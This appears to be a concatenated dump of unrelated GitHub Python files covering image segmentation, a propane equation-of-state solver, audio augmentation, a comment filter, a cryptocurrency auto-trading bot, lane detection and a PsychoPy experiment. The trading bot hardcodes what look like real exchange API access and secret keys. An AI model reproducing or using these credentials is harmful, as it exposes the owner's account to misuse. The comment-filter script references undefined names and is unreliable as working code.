self.down3 = UNetDownStack(filters * 2, filters * 4)\n # 120\n self.down4 = UNetDownStack(filters * 4, filters * 8)\n # 60\n self.down5 = UNetDownStack(filters * 8, filters * 16)\n # 30\n self.down6 = UNetDownStack(filters * 16, filters * 32)\n # 15\n self.center = UNetDownStack(filters * 32, filters * 64, pool=False)\n # 15\n self.up6 = UNetUpStack(filters * 96, filters * 32, kernel_size)\n # 30\n self.up5 = UNetUpStack(filters * 48, filters * 16, kernel_size)\n # 60\n self.up4 = UNetUpStack(filters * 24, filters * 8, kernel_size)\n # 120\n self.up3 = UNetUpStack(filters * 12, filters * 4, kernel_size)\n # 240\n self.up2 = UNetUpStack(filters * 6, filters * 2, kernel_size)\n # 480\n self.up1 = UNetUpStack(filters * 3, filters, kernel_size)\n # 960\n self.classify = nn.Conv2d(filters, 1, kernel_size, stride=1, padding=1)\n\n def forward(self, inputs_):\n down1, down1_pool = self.down1(inputs_)\n down2, down2_pool = self.down2(down1_pool)\n down3, down3_pool = self.down3(down2_pool)\n down4, down4_pool = self.down4(down3_pool)\n down5, down5_pool = self.down5(down4_pool)\n down6, down6_pool = self.down6(down5_pool)\n\n center = self.center(down6_pool)\n\n up6 = self.up6(center, down6)\n up5 = self.up5(up6, down5)\n up4 = self.up4(up5, down4)\n up3 = self.up3(up4, down3)\n up2 = self.up2(up3, down2)\n up1 = self.up1(up2, down1)\n\n x = self.classify(up1)\n\n return x\n","repo_name":"achaiah/pywick","sub_path":"pywick/models/segmentation/unet_stack.py","file_name":"unet_stack.py","file_ext":"py","file_size_in_byte":7225,"program_lang":"python","lang":"en","doc_type":"code","stars":397,"dataset":"github-code","pt":"69"} +{"seq_id":"18500952971","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 25 08:45:16 2017\n\n@author: Bryan Ricketts\n\"\"\"\n\nimport numpy as np\n#import scipy.optimize as sci\n#import scipy.optimize as sci #import just the optimize library\nfrom scipy.optimize import fsolve # imports just the function you need\n\nprint(\"Calculate molar volume of propane\")\n\nprint(\"Input Parameters\")\n# The function takes inputs of temperature (K) and pressure (bar)\ntemp=input(\"Temperature in K = \")\npres=input(\"Pressure in bar = \")\n# convert to float\ntemp=float(temp)\npres=float(pres)\n\"\"\"\nTo make this section more robust, make sure that the string looks like a number\n\"\"\"\n\n#temp=300.\n#pres=0.01\n\n# set critical properties (source: NIST WebBook)\nTc=369.9 #K \nPc=42.5 #bar\nomega=0.1524\nR=0.08314 #L*bar/(K*mol)\n\n# Calculate Soave-Redlich-Kwong EoS parameters\nTr=temp/Tc #reduced temperature\ncapOmega = 0.480 + 1.574*omega-0.176*omega**2\na=0.42748*R**2*Tc**2/Pc*(1+capOmega*(1-Tr**0.5))**2\nb=0.08664*R*Tc/Pc\n\n# Calculate second round SRK parameters\nAprime = a*pres/(R*temp)**2\nBprime = b*pres/(R*temp)\n\n# Make SRK function\ndef srk(z):\n y = z**3 - z**2 + (Aprime - Bprime - Bprime**2)*z - Aprime*Bprime\n return y\n\n#solve for roots\nZ = fsolve(srk, 0.1) \n\"\"\"the function is a first class variable - it's an object\nincluding parentheses and an input only evaluates the return of the function\n\"\"\"\n\nif temp>Tc: #condition in which T is above Tc means only one real solution\n V=Z*R*temp/pres\n print('\\nV = {0:0.3f} L/mol\\n'.format(V[0]))\nelse:\n # Use Antoine equation to determine saturation pressure\n # Select proper range of coefficients from NIST WebBook\n if temp<=230:\n A = 4.01158\n B = 834.26\n C = -22.763\n elif temp<=320:\n A = 3.98292\n B = 819.296\n C = -24.417\n else:\n A = 4.53678\n B = 1149.36\n C = -24.906\n Psat = np.exp(A - B/(C+temp))\n Psat = round(Psat, 2)\n # Select the proper number of roots by comparing pres to Psat\n if abs(Psat-pres)<0.01: #could also use numpy.allclose\n #saturated system -> smallest=saturated liquid, largest=saturated vapor\n V=Z*R*temp/pres\n print('\\nV = {0:1.3f} L/mol, saturated liquid\\n'.format(V[0]))\n print('\\nV = {0:1.3f} L/mol\\n'.format(V[-1]))\n print(\"saturated\")\n \n elif pres>Psat:\n #compressed liquid -> smallest root\n V=Z*R*temp/pres\n print('\\nV = {0:1.3f} L/mol\\n'.format(V[0]))\n print(\"compressed\")\n \n elif pres<Psat:\n #superheated vapor -> largest root\n V=Z*R*temp/pres\n print('\\nV = {0:1.3f} L/mol\\n'.format(V[-1]))\n print(\"superheated\")\n\n\n ","repo_name":"brickett/CBE40497","sub_path":"SRK-EoS.py","file_name":"SRK-EoS.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"38209746383","text":"\nimport librosa\nimport librosa.display\nimport pandas as pd\nimport soundfile as sf\nimport warnings\nimport os\nwarnings.filterwarnings('ignore')\n\n# Read Data\ndata = pd.read_csv('C:/Users/Andreuff/OMG1.csv')\nvalid_data = data[['filename','ClassID', 'Class']]\nvalid_data['path'] = valid_data['Class'].astype('str') + '/' + valid_data['filename'].astype('str')\npath_to = r'C:/Users/Andreuff/wavfiles/'\n\n\ndef vary_speed(rate, DataSet = 'DataSet_test'):\n \"\"\" Изменение скорости \"\"\"\n data_path = 'C:/Users/Andreuff/' + DataSet + '.csv'\n data = pd.read_csv(data_path)\n valid_data = data[['filename','ClassID', 'Class']]\n valid_data['path'] = valid_data['Class'].astype('str') + '/' + valid_data['filename'].astype('str')\n path_to = r'C:/Users/Andreuff/wavfiles/'\n str_rate = str(rate)\n newpath = path_to + 'Augmented/'\n for row in valid_data.itertuples():\n if not os.path.exists(newpath + row.Class):\n os.makedirs(newpath + row.Class)\n y, sr = librosa.load(path_to + row.path) \n y_changed = librosa.effects.time_stretch(y, rate=rate)\n sf.write(newpath + row.Class + '/' + 'speed_' + str_rate + '_' + row.filename,y_changed, sr)\n\n\ndef vary_pitch(step, DataSet = 'DataSet_test'):\n \"\"\"Изменение тональности по полутонам\"\"\"\n data_path = 'C:/Users/Andreuff/' + DataSet + '.csv'\n data = pd.read_csv(data_path)\n valid_data = data[['filename','ClassID', 'Class']]\n valid_data['path'] = valid_data['Class'].astype('str') + '/' + valid_data['filename'].astype('str')\n path_to = r'C:/Users/Andreuff/wavfiles/'\n str_step = str(step)\n newpath = path_to + 'Augmented/'\n for row in valid_data.itertuples():\n if not os.path.exists(newpath + row.Class):\n os.makedirs(newpath + row.Class)\n y, sr = librosa.load(path_to + row.path) \n y_changed = librosa.effects.pitch_shift(y, sr, n_steps=step)\n sf.write(newpath + row.Class + '/' + 'pitch_' + str_step + '_' + row.filename,y_changed, sr)\n\n\ndef vary_noise(step, rate=1):\n path_1 = 'C:/Users/Andreuff/wavfiles_old/'\n \n _files = os.listdir(path_1)\n\n for j in (_files):\n path = path_1 + j + '/' \n files = os.listdir(path)\n for i in range(len(files)):\n y,sr = librosa.load(path + files[i])\n if rate == 1:\n y_c = librosa.effects.pitch_shift(y, sr, n_steps=step)\n n_n = path + str(files[i][:-4]) + '_' + str(step) + '.wav'\n else:\n y_c = librosa.effects.pitch_shift(y, sr, n_steps=step)\n y_c = librosa.effects.time_stretch(y_c, rate=rate)\n n_n = path + str(files[i][:-4]) + '_pitch_' + str(step) + '_speed_' + str(rate) + '.wav'\n sf.write(n_n, y_c, sr)\n# vary_speed(1.2,'OMG2')\n\nvary_noise(-5, 1)\n\n\n\n","repo_name":"NikitinAndrei/breath","sub_path":"Classification/augmentaiton.py","file_name":"augmentaiton.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70038679580","text":"from nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\n\n# Lista de comentarios de ejemplo\ncomments = [\n \"This is a comment\",\n \"This is another comment\",\n \"This is yet another comment\"\n]\n\n# Carga las stopwords en una lista\nstop_words = set(stopwords.words('spanish'))\n\n# Crea una instancia de lematizador\nlemmatizer = WordNetLemmatizer()\n\n\n# Define los algoritmos de detección de spam y ofensas\ndef is_spam(words):\n # Tokeniza el comentario\n tokens = word_tokenize(words)\n # Elimina las stopwords\n filtered_tokens = [w for w in tokens if not w in stop_words]\n # Aplica el lematizador\n lemmatized_tokens = [lemmatizer.lemmatize(w) for w in filtered_tokens]\n # Comprueba si el comentario es spam\n return \"spam\" in lemmatized_tokens\n\n\ndef is_offensive(words):\n # Tokeniza el comentario\n tokens = word_tokenize(words)\n # Elimina las stopwords\n filtered_tokens = [w for w in tokens if not w in stop_words]\n # Aplica el lematizador\n lemmatized_tokens = [lemmatizer.lemmatize(w) for w in filtered_tokens]\n # Comprueba si el comentario es ofensivo\n return \"offensive\" in lemmatized_tokens\n\n\n# Clasifica los comentarios\nfor comment in comments:\n words = [lemmatizer.lemmatize(word.lower()) for word in word_tokenize(comment) if word.lower() not in stop_words]\n is_spam_comment = is_spam(words)\n is_offensive_comment = is_offensive(words)\n if not is_spam_comment and not is_offensive_comment:\n classifield_comments.append(comment)\n\n# Elimina los comentarios clasificados como spam y ofensivos utilizando la API de la red social\nfor classified_comment in classifield_comments:\n social_network.remove_comment(classified_comment)\n","repo_name":"kenny2408/scripts","sub_path":"python_scripts/spam/remove_spam.py","file_name":"remove_spam.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"42089476834","text":"import time\r\nimport pyupbit\r\nimport datetime\r\n\r\naccess = \"SeOqwkvSjqERxW3Kmqc1tiZExaSGhMXbeK6k2lrr\"\r\nsecret = \"sJTM31h58x8hxH1pCsxRxdFix9A8n2cPEFcr4KPS\"\r\n\r\ndef get_target_price(ticker, k):\r\n print(\"변동성 돌파 전략으로 매수 목표가 조회\")\r\n \"\"\"변동성 돌파 전략으로 매수 목표가 조회\"\"\"\r\n df = pyupbit.get_ohlcv(ticker, interval=\"day\", count=2)\r\n target_price = df.iloc[0]['close'] + (df.iloc[0]['high'] - df.iloc[0]['low']) * k\r\n return target_price\r\n\r\ndef get_start_time(ticker):\r\n print(\"시작 시간 조회\")\r\n df = pyupbit.get_ohlcv(ticker, interval=\"day\", count=1)\r\n start_time = df.index[0]\r\n return start_time\r\n\r\ndef get_balance(ticker):\r\n print(\"잔고 조회\")\r\n balances = upbit.get_balances()\r\n for b in balances:\r\n if b['currency'] == ticker:\r\n if b['balance'] is not None:\r\n return float(b['balance'])\r\n else:\r\n return 0\r\n return 0\r\n\r\ndef get_current_price(ticker):\r\n print(\"현재가 조회\")\r\n return pyupbit.get_orderbook(ticker=ticker)[\"orderbook_units\"][0][\"ask_price\"]\r\n\r\n# 로그인\r\nupbit = pyupbit.Upbit(access, secret)\r\nprint(\"autotrade start\")\r\n\r\n# 자동매매 시작\r\navg_price = 0\r\nwhile True:\r\n try:\r\n now = datetime.datetime.now()\r\n start_time = get_start_time(\"KRW-XRP\")\r\n end_time = start_time + datetime.timedelta(days=1)\r\n if start_time < now < end_time - datetime.timedelta(seconds=10):\r\n target_price = get_target_price(\"KRW-XRP\", 0.4)\r\n current_price = get_current_price(\"KRW-XRP\")\r\n if (avg_price *1.15 < current_price) and avg_price > 0:\r\n btc = get_balance(\"XRP\")\r\n if btc > 0.00008:\r\n upbit.sell_market_order(\"KRW-XRP\", btc*0.9995)\r\n avg_price = 0\r\n elif (avg_price * 0.9 > current_price) and avg_price > 0:\r\n btc = get_balance(\"XRP\")\r\n if btc > 0.00008:\r\n upbit.sell_market_order(\"KRW-XRP\", btc*0.9995)\r\n avg_price = 0\r\n if target_price < current_price and avg_price == 0:\r\n krw = get_balance(\"KRW\")\r\n if krw > 5000:\r\n upbit.buy_market_order(\"KRW-XRP\", krw*0.9995)\r\n avg_price = upbit.get_avg_buy_price(\"KRW-XRP\")\r\n else:\r\n btc = get_balance(\"XRP\")\r\n if btc > 0.00008:\r\n upbit.sell_market_order(\"KRW-XRP\", btc*0.9995)\r\n avg_price = 0\r\n time.sleep(1)\r\n except Exception as e:\r\n print(e)\r\n time.sleep(1)\r\n","repo_name":"ktwthetop777/ktwupbit","sub_path":"bitcoinAutoTrade.py","file_name":"bitcoinAutoTrade.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28304908139","text":"import sys\nimport os\nimport argparse\nimport pickle\nimport json\n\nimport numpy as np\nfrom tqdm import tqdm\nimport pandas as pd\n\nsys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..'))\n\nimport configs\nfrom utils import logging_utils as logu\nfrom utils.logging_utils import print_verbose\nfrom utils import laion_utils as laionu\n\n\nif __name__ == '__main__':\n # ----- Get arguments from input -----\n parser = argparse.ArgumentParser()\n\n # Path\n parser.add_argument('--clip_retrieval_json_path', type=str,\n default=os.path.join('laion400m', 'processed', 'from_clip_retrieval',\n 'top50_val_most_similars_from_laion_400m.json'))\n\n parser.add_argument('--image_labels_path', type=str,\n default=os.path.join('ilsvrc2012', 'processed', 'imagename2wnid.pkl'))\n\n parser.add_argument('--laion_path', type=str, default=os.path.join('laion400m'))\n\n parser.add_argument('--labels_path', type=str, default=os.path.join('laion400m', 'processed', 'ilsvrc_labels'))\n\n # Sampling\n parser.add_argument('--do_sample', action='store_true')\n\n # Logging\n parser.add_argument('--no_verbose', dest='verbose', action='store_false')\n\n # Overwrite?\n parser.add_argument('--no_safe', dest='safe', action='store_false')\n\n # Convert to dictionary\n params = vars(parser.parse_args())\n\n # ----- Init. -----\n logu.verbose = params['verbose']\n\n open_type = 'xb' if params['safe'] else 'wb'\n\n # ----- Loading -----\n print_verbose('loading ...')\n\n print_verbose('\\tloading clip retrieval results ...')\n with open(params['clip_retrieval_json_path'], 'r') as f:\n cr_results = json.load(f)\n cr_results = {int(k): v for k, v in cr_results.items()}\n\n print_verbose('\\tloading image labels ...')\n with open(params['image_labels_path'], 'rb') as f:\n imagename2wnid = pickle.load(f)\n\n print_verbose('done!\\n')\n\n # ----- Reformat -----\n wnid2crindex2sims = {}\n wnid2crindex2imgindices = {}\n wnid2crindex2text = {}\n wnid2crindex2url = {}\n\n for image_idx, results in tqdm(cr_results.items(), desc='collecting results into dicts'):\n image_name = 'ILSVRC2012_val_%08d.JPEG' % image_idx\n wnid = imagename2wnid[image_name]\n\n if wnid not in wnid2crindex2sims:\n wnid2crindex2sims[wnid] = {}\n wnid2crindex2imgindices[wnid] = {}\n wnid2crindex2text[wnid] = {}\n wnid2crindex2url[wnid] = {}\n\n for res in results:\n cr_idx = res[configs.CLIPRetrievalConfig.ID_COL]\n\n similarity = res[configs.CLIPRetrievalConfig.SIMILARITY_COL]\n text = res[configs.CLIPRetrievalConfig.TEXT_COL]\n url = res[configs.CLIPRetrievalConfig.URL_COL]\n\n if cr_idx not in wnid2crindex2sims[wnid]:\n wnid2crindex2sims[wnid][cr_idx] = [similarity]\n wnid2crindex2imgindices[wnid][cr_idx] = [image_idx]\n wnid2crindex2text[wnid][cr_idx] = text\n wnid2crindex2url[wnid][cr_idx] = url\n else:\n wnid2crindex2sims[wnid][cr_idx].append(similarity)\n wnid2crindex2imgindices[wnid][cr_idx].append(image_idx)\n\n # Reduction\n wnid2crindices = {}\n wnid2crsims = {}\n wnid2imgindices = {}\n wnid2texts = {}\n wnid2urls = {}\n\n for wnid in tqdm(wnid2crindex2sims, desc='reducing the results'):\n crindex2sims = wnid2crindex2sims[wnid]\n crindex2imgindices = wnid2crindex2imgindices[wnid]\n crindex2text = wnid2crindex2text[wnid]\n crindex2url = wnid2crindex2url[wnid]\n\n wnid2crindices[wnid] = []\n wnid2crsims[wnid] = []\n wnid2imgindices[wnid] = []\n wnid2texts[wnid] = []\n wnid2urls[wnid] = []\n\n for cr_idx in crindex2sims:\n wnid2crindices[wnid].append(cr_idx)\n wnid2crsims[wnid].append(np.max(crindex2sims[cr_idx]))\n wnid2imgindices[wnid].append(crindex2imgindices[cr_idx][np.argmax(crindex2sims[cr_idx])])\n wnid2texts[wnid].append(crindex2text[cr_idx])\n wnid2urls[wnid].append(crindex2url[cr_idx])\n\n # ----- Sample -----\n if params['do_sample']:\n\n for wnid, sims in tqdm(wnid2crsims.items(), desc='sampling'):\n pos = np.argsort(sims)[-configs.LAIONSamplingConfig.UNIFORM_SAMPLES:]\n\n wnid2crindices[wnid] = np.array(wnid2crindices[wnid])[pos].tolist()\n wnid2crsims[wnid] = np.array(wnid2crsims[wnid])[pos].tolist()\n wnid2imgindices[wnid] = np.array(wnid2imgindices[wnid])[pos].tolist()\n wnid2texts[wnid] = np.array(wnid2texts[wnid])[pos].tolist()\n wnid2urls[wnid] = np.array(wnid2urls[wnid])[pos].tolist()\n\n # ----- Parse -----\n text_col = configs.LAIONConfig.TEXT_COL\n url_col = configs.LAIONConfig.URL_COL\n\n df_index = []\n df_dict = {text_col: [], url_col: []}\n\n for wnid, crindices in tqdm(wnid2crindices.items(), desc='getting a dataframe out of results'):\n df_index.extend(crindices)\n df_dict[text_col].extend(wnid2texts[wnid])\n df_dict[url_col].extend(wnid2urls[wnid])\n\n # Create a dataframe\n df = pd.DataFrame(df_dict, index=df_index)\n\n # Drop duplicates\n df.index.name = 'cr_index'\n df = df.groupby('cr_index').first()\n\n # ----- Save -----\n print_verbose('saving...')\n\n # Save labels\n print_verbose(f'\\tsaving distinct {len(wnid2crindices)} labels.')\n\n with open(os.path.join(params['labels_path'], 'wnid2crindices.pkl'), open_type) as f:\n pickle.dump(wnid2crindices, f)\n\n print_verbose(f'\\tsaving which ilsvrc images correspond to the sampled images.')\n\n with open(os.path.join(params['labels_path'], 'wnid2ilsvrcimgindices.pkl'), open_type) as f:\n pickle.dump(wnid2imgindices, f)\n\n # Save similarities\n print_verbose(f'\\tsaving image to image similarities.')\n\n with open(os.path.join(params['labels_path'], 'wnid2crimgimgsims.pkl'), open_type) as f:\n pickle.dump(wnid2crsims, f)\n\n # Save df\n print_verbose(f'\\tsaving df with {len(df)} rows.')\n\n prefix = configs.LAIONConfig.SUBSET_VAL_MOST_SIMILAR_IMG_IMG_PREFIX\n # For compatibility only\n subset_file_name = prefix + laionu.get_laion_subset_file_name(0, configs.LAIONConfig.NUM_PARTS - 1)\n subset_file_path = os.path.join(params['laion_path'], subset_file_name)\n\n if os.path.exists(subset_file_path) and params['safe']:\n raise Exception('Subset already exists!')\n\n df.to_parquet(subset_file_path, index=True)\n\n print_verbose('done!\\n')\n","repo_name":"alishiraliGit/eval-on-laion","sub_path":"scripts/searchimage/reformat_clip_retrieval_most_similar_images_to_ilsvrc_val_set_results.py","file_name":"reformat_clip_retrieval_most_similar_images_to_ilsvrc_val_set_results.py","file_ext":"py","file_size_in_byte":6597,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"10821597410","text":"import cv2\nimport numpy as np\n\ndef make_points(image, line):\n slope, intercept = line\n y1 = int(image.shape[0])# bottom of the image\n y2 = int(y1*3/5) # slightly lower than the middle\n x1 = int((y1 - intercept)/slope)\n x2 = int((y2 - intercept)/slope)\n return [[x1, y1, x2, y2]]\n\ndef average_slope_intercept(image, lines):\n left_fit = []\n right_fit = []\n if lines is None:\n return None\n for line in lines:\n for x1, y1, x2, y2 in line:\n fit = np.polyfit((x1,x2), (y1,y2), 1)\n slope = fit[0]\n intercept = fit[1]\n if slope < 0: # y is reversed in image\n left_fit.append((slope, intercept))\n else:\n right_fit.append((slope, intercept))\n # add more weight to longer lines\n left_fit_average = np.average(left_fit, axis=0)\n right_fit_average = np.average(right_fit, axis=0)\n left_line = make_points(image, left_fit_average)\n right_line = make_points(image, right_fit_average)\n averaged_lines = [left_line, right_line]\n return averaged_lines\n\ndef canny(img):\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n kernel = 5\n blur = cv2.GaussianBlur(gray,(kernel, kernel),0)\n canny = cv2.Canny(gray, 50, 150)\n return canny\n\ndef display_lines(img,lines):\n line_image = np.zeros_like(img)\n if lines is not None:\n for line in lines:\n for x1, y1, x2, y2 in line:\n cv2.line(line_image,(x1,y1),(x2,y2),(255,0,0),10)\n return line_image\n\ndef region_of_interest(canny):\n height = canny.shape[0]\n width = canny.shape[1]\n mask = np.zeros_like(canny)\n\n triangle = np.array([[\n (200, height),\n (550, 250),\n (1100, height),]], np.int32)\n\n cv2.fillPoly(mask, triangle, 255)\n masked_image = cv2.bitwise_and(canny, mask)\n return masked_image\n\n\n# image = cv2.imread('test_image.jpg')\n# lane_image = np.copy(image)\n# lane_canny = canny(lane_image)\n# cropped_canny = region_of_interest(lane_canny)\n# lines = cv2.HoughLinesP(cropped_canny, 2, np.pi/180, 100, np.array([]), minLineLength=40,maxLineGap=5)\n# averaged_lines = average_slope_intercept(image, lines)\n# line_image = display_lines(lane_image, averaged_lines)\n# combo_image = cv2.addWeighted(lane_image, 0.8, line_image, 1, 0)\n\n#\ncap = cv2.VideoCapture(\"test2.mp4\")\nwhile(cap.isOpened()):\n _, frame = cap.read()\n canny_image = canny(frame)\n cropped_canny = region_of_interest(canny_image)\n lines = cv2.HoughLinesP(cropped_canny, 2, np.pi/180, 100, np.array([]), minLineLength=40,maxLineGap=5)\n averaged_lines = average_slope_intercept(frame, lines)\n line_image = display_lines(frame, averaged_lines)\n combo_image = cv2.addWeighted(frame, 0.8, line_image, 1, 1)\n cv2.imshow(\"result\", combo_image)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\ncap.release()\ncv2.destroyAllWindows()","repo_name":"Arbazkhan4712/Python-Quarantine-Projects","sub_path":"lane-finder/finding_lanes.py","file_name":"finding_lanes.py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","stars":255,"dataset":"github-code","pt":"69"} +{"seq_id":"11469618464","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# You must have a monitor in the monitor center of Psychopy!!\n\n# import modules\n\nfrom __future__ import absolute_import, division\nimport os # handy system and path functions\nimport sys # to get file system encoding\nfrom psychopy import locale_setup\nfrom psychopy import prefs\nfrom psychopy import sound, gui, visual, core, data, event, logging, clock\nimport math\nimport numpy as np\nfrom numpy import (sin, cos, tan, log, log10, pi, average,\n sqrt, std, deg2rad, rad2deg, linspace, asarray)\nfrom numpy.random import random, randint, normal, shuffle\nimport pandas as pd\nfrom sklearn.cluster import KMeans\nfrom webcolors import name_to_rgb\nfrom psychopy.hardware import keyboard\nfrom psychopy.misc import fromFile\n\n\n###########################################################################\n\n# Some functions\n\ndef distance(a, b):\n return math.sqrt((a[0] - b[0])**2 + (a[1] - b[1])**2)\n\ndef good_fix(fix, gaze, tolerance):\n # all in the same unit\n if distance(fix, gaze) <= tolerance:\n return True\n else:\n return False\n\ndef create_mndnp(win, color, cursor_size = (0.1, 0.1)):\n mouse = event.Mouse(visible = False)\n dot = visual.GratingStim(win = win, tex= None, units = 'deg', \n mask=\"circle\", pos=(0, 0), size=cursor_size, colorSpace = 'rgb255', \n color=color, autoLog=False)\n dot_pos = visual.TextStim(win = win, pos=(-1,-1), \n units = 'norm', alignHoriz='left', alignVert = 'bottom', height=0.06, \n text='', autoLog=False)\n return mouse, dot, dot_pos\n\ndef create_fixation(win, pos, size, color):\n fixation = visual.RadialStim(win = win, units='deg', pos=pos,\n size=size, radialCycles=0.6, angularCycles=0, radialPhase=-0.4, angularPhase=0,\n ori=0, texRes=64, angularRes=100, \n color=color, colorSpace='rgb255',\n contrast=1.0, opacity=1.0)\n return fixation\n\ndef create_text(win, color, text = ''):\n textstim = visual.TextStim(win=win, text=text, font='Arial',\n units='norm', pos=(0,0), height=0.08,\n wrapWidth=None, ori=0, color=color, \n colorSpace='rgb255', opacity=1, languageStyle='LTR')\n return textstim\n\ndef create_info(win):\n information = visual.TextStim(win = win, pos=(-1, 1), \n units = 'norm', alignHoriz='left', alignVert = 'top', \n height=0.04, text='', autoLog=False)\n return information\n\ndef non_rep_append(l, ele):\n if l:\n if l[-1] == ele:\n pass\n else:\n l.append(ele)\n else:\n l.append(ele)\n return l\n\ndef click_recorder(mouse, mouse_x, mouse_y, dots, win, eye_tracker = False):\n beep = sound.Sound('300', volume = 0.1, secs=0.3, stereo=True, hamming=False)\n mouse0, mouse1, mouse2 = mouse.getPressed()\n record = True\n if eye_tracker:\n record = good # good is a global var, indicates whether or not the participant is gazing at the fixation object.\n if mouse0 and record:\n non_rep_append(dots, (mouse_x, mouse_y))\n beep.play(when = win)\n mouse.clickReset()\n return True\n else:\n return False\n\ndef dots_estimation(dots, axis):\n # axis should be set 0 for HT and HD data, 1 for VT data.\n def washing(data, axis):\n # group dots in the subset to 2 sub_groups\n kmeans = KMeans(2).fit(data)\n labels = kmeans.labels_\n sub1 = [data[x] for x in range(len(labels)) if labels[x] == 0]\n sub2 = [data[x] for x in range(len(labels)) if labels[x] == 1]\n # exclude outliers (1.5 IQR)\n sub1_q3, sub1_q1 = np.percentile(sub1, [75, 25], axis = 0)\n sub1_iqr = (sub1_q3 - sub1_q1)[axis]\n sub1_interval = [sub1_q1[axis] - 1.5 * sub1_iqr, sub1_q3[axis] + 1.5 * sub1_iqr]\n sub2_q3, sub2_q1 = np.percentile(sub2, [75, 25], axis = 0)\n sub2_iqr = (sub2_q3 - sub2_q1)[axis]\n sub2_interval = [sub2_q1[axis] - 1.5 * sub2_iqr, sub2_q3[axis] + 1.5 * sub2_iqr]\n new_sub1 = [dot for dot in sub1 if abs(dot[axis] - sub1_interval[0]) + abs(dot[axis] - sub1_interval[1]) <= abs(sub1_interval[0] - sub1_interval[1]) ]\n new_sub2 = [dot for dot in sub2 if abs(dot[axis] - sub2_interval[0]) + abs(dot[axis] - sub2_interval[1]) <= abs(sub2_interval[0] - sub2_interval[1]) ]\n return new_sub1 + new_sub2\n\n def km_centers(km_model, axis):\n dot1, dot2 = km_model.cluster_centers_\n if dot1[axis] <= dot2[axis]:\n pass\n else:\n dot1, dot2 = dot2, dot1\n return tuple(dot1), tuple(dot2)\n \n # Calculate 2 center dots for dots.\n c_dots = []\n if len(dots) == 1:\n c_dots.append(dots[0])\n else:\n # data washing, filter out outliers\n dots = washing(dots, axis)\n kmeans = KMeans(2).fit(dots)\n dot1, dot2 = km_centers(kmeans, axis)\n c_dots.append(dot1)\n c_dots.append(dot2)\n return c_dots\n\ndef order_dots(dots):\n # compute the highest dot of these dots\n dots = np.array(dots)\n top = [dot for dot in dots if dot[1] == dots.max(axis = 0)[1]][0]\n # calculate degree to top dot for each dot in dots\n def deg(dot):\n arctan = math.atan2(*(dot - top)[::-1])\n return math.degrees(arctan) % 360\n # sort dots by degree\n ordered_dots = sorted(dots, key=deg)\n return [tuple(dot) for dot in ordered_dots]\n\ndef sum_bad_fixation(tracking_dict, onset_frameN, offset_frameN, time_back = 0.03, time_forward = 0, framedur = 1/60):\n try:\n # framedur is a global var\n frames_back = round(time_back / framedur) # convert time_back(in second) to frame_back(in frame count)\n frames_forward = round(time_forward / framedur) # convert time_forward(in second) to frame_forward(in frame count)\n start_idx = int(tracking_dict['frameN'].index(onset_frameN) - frames_back)\n end_idx = int(tracking_dict['frameN'].index(offset_frameN) + frames_forward)\n sumation = end_idx - start_idx - sum(tracking_dict['good_fixation'][start_idx:end_idx])\n except Exception as e:\n print(e)\n sumation = 1\n return sumation\n\n###########################################################################\n\n\n###########################################################################\n\n# Routine functions\n\ndef border_points(win, exp_config, path, dimension):\n # dimension should be set to 0 for HT and HD, 1 for VT\n clicks = []\n\n StartClock = core.Clock()\n start_beep = sound.Sound('1000', secs=1.0, stereo=True, hamming=False, volume = 1)\n start_fixation = create_fixation(win = win, pos = exp_config['Fix_Pos(deg)'], \n size = exp_config['Fix_Size(deg)'], color = exp_config['Fix_Color'])\n\n TrialsClock = core.Clock()\n trials_fixation = create_fixation(win = win, pos = exp_config['Fix_Pos(deg)'], \n size = exp_config['Fix_Size(deg)'], color = exp_config['Fix_Color'])\n trials_mouse, trials_dot, trials_dot_pos = create_mndnp(win = win, color = exp_config['Cursor_Color'], \n cursor_size = exp_config['Cursor_Size(deg)'])\n trials_end = keyboard.Keyboard()\n trials_info = create_info(win = win)\n\n routineTimer = core.CountdownTimer()\n routineTimer.add(1.000000)\n # update component parameters for each repeat\n start_autodraw = [start_fixation]\n # reset timers\n _timeToFirstFrame = win.getFutureFlipTime(clock=\"now\")\n StartClock.reset(-_timeToFirstFrame) # t0 is time of first possible flip\n continueRoutine = True\n \n beep_start = False\n fixation_start = False\n\n # -------Starting Routine \"Start\"-------\n while continueRoutine and routineTimer.getTime() > 0:\n tThisFlip = win.getFutureFlipTime(clock=StartClock)\n tThisFlipGlobal = win.getFutureFlipTime(clock=None)\n # update/draw components on each frame\n # start/stop start_beep\n if not beep_start and tThisFlip >= 0.0-exp_config['FrameTolerance']:\n start_beep.tStartRefresh = tThisFlipGlobal # on global time\n start_beep.play(when=win) # sync with win flip\n beep_start = True\n if beep_start:\n # is it time to stop? (based on global clock, using actual start)\n if tThisFlipGlobal > start_beep.tStartRefresh + 1.0-exp_config['FrameTolerance']:\n start_beep.stop()\n \n # *start_fixation* updates\n if not fixation_start and tThisFlip >= 0.0-exp_config['FrameTolerance']:\n start_fixation.tStartRefresh = tThisFlipGlobal # on global time\n start_fixation.setAutoDraw(True)\n fixation_start = True\n if fixation_start:\n # is it time to stop? (based on global clock, using actual start)\n if tThisFlipGlobal > start_fixation.tStartRefresh + 1.0-exp_config['FrameTolerance']:\n start_fixation.setAutoDraw(False)\n # check for quit (typically the Esc key)\n if endExpNow or defaultKeyboard.getKeys(keyList=[\"escape\"]):\n core.quit()\n\n if not continueRoutine: # a component has requested a forced-end of Routine\n break\n elif continueRoutine: # don't flip if this routine is over or we'll get a blank screen\n win.flip()\n # 